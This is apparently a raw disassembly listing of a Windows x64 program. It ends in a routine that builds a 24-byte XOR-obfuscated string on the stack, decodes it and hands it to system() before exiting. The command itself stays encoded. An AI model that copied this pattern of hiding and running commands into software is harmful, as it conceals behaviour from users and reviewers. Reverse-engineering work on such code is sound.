mov rcx, qword [0x140ac02a8]
call fcn.14006b820
call fcn.140020720
call fcn.140020360
xorps xmm0, xmm0
movups xmmword [rbp + 0x5e8], xmm0
mov rcx, qword [0x140ac0100]
mov rax, qword [rcx]
mov r10, qword [rax + 0x108]
xor r9d, r9d
lea r8, [0x140ac0120]
lea edx, [r9 + 1]
call r10
mov rcx, qword [0x140ac0100]
mov rax, qword [rcx]
mov r9, qword [rax + 0x190]
lea r8, [rbp + 0x5e8]
mov rdx, qword [0x140ac0120]
call r9
mov dword [rbp + 0x3f8], 1
mov rax, qword [0x140ac0050]
mov rax, qword [rax + 0x48d0]
mov rcx, qword [rax]
add rcx, 0x48
mov rax, rdi
cmp byte [rcx], dil
cmovne rax, rcx
mov rcx, rax
call fcn.140048010
mov rcx, qword [0x140ac0118]
mov rax, qword [rcx]
mov r9, qword [rax + 0x40]
xor r8d, r8d
xor edx, edx
call r9
nop
mov rcx, qword [rbp + 0x508]
xor rcx, qword [rbp + 0x510]
mov qword [rbp + 0x508], rcx
mov rax, qword [rbp + 0x518]
mov qword [rax], rcx
cmp dword [rbp + 0x5b0], 0x12
jne 0x1400755e1
call fcn.140049240
call fcn.140064fd0
xor ecx, ecx
call fcn.14001c1b0
mov rcx, r14
call fcn.1400734f0
mov rcx, qword [0x140ac0130]
call qword [sym.imp.USER32.dll_DestroyWindow]
nop
mov rcx, qword [rbp + 0x550]
xor rcx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x560]
mov qword [rax], rcx
xor eax, eax
mov rcx, qword [rbp + 0x600]
xor rcx, rsp
call fcn.1400bc650
lea r11, [rsp + 0x7b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov byte [rbp + 0x220], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x221], 4
mov byte [rbp + 0x222], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x223], 6
mov byte [rbp + 0x224], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x225], 2
mov byte [rbp + 0x226], 8
mov byte [rbp + 0x227], 2
mov byte [rbp + 0x228], 0x45
mov byte [rbp + 0x229], 0x47
mov byte [rbp + 0x22a], Ordinal_45
mov byte [rbp + 0x22b], 0x46
mov byte [rbp + 0x22c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x22d], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x22e], 0x3f
mov byte [rbp + 0x22f], 0x5f
mov byte [rbp + 0x230], Ordinal_33
mov byte [rbp + 0x231], Ordinal_26
mov byte [rbp + 0x232], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x233], 0x53
mov byte [rbp + 0x234], reloc.WS2_32.dll_recv
mov byte [rbp + 0x235], 3
mov byte [rbp + 0x236], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x237], 0x7e
movzx eax, byte [rbp + 0x220]
movabs r10, 0xe27eb13f7cc38962
mov r9, r10
lea rax, [rbp + 0x220]
sub r9, rax
lea rdx, [rbp + 0x220]
add rdx, rdi
movzx r8d, byte [rdx]
mov rcx, rdi
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r10
shr rax, cl
and al, 0xf
add dl, r9b
xor al, dl
xor al, r8b
mov byte [rbp + rdi + 0x220], al
inc rdi
cmp rdi, 0x18
jb 0x140078310
lea rcx, [rbp + 0x220]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3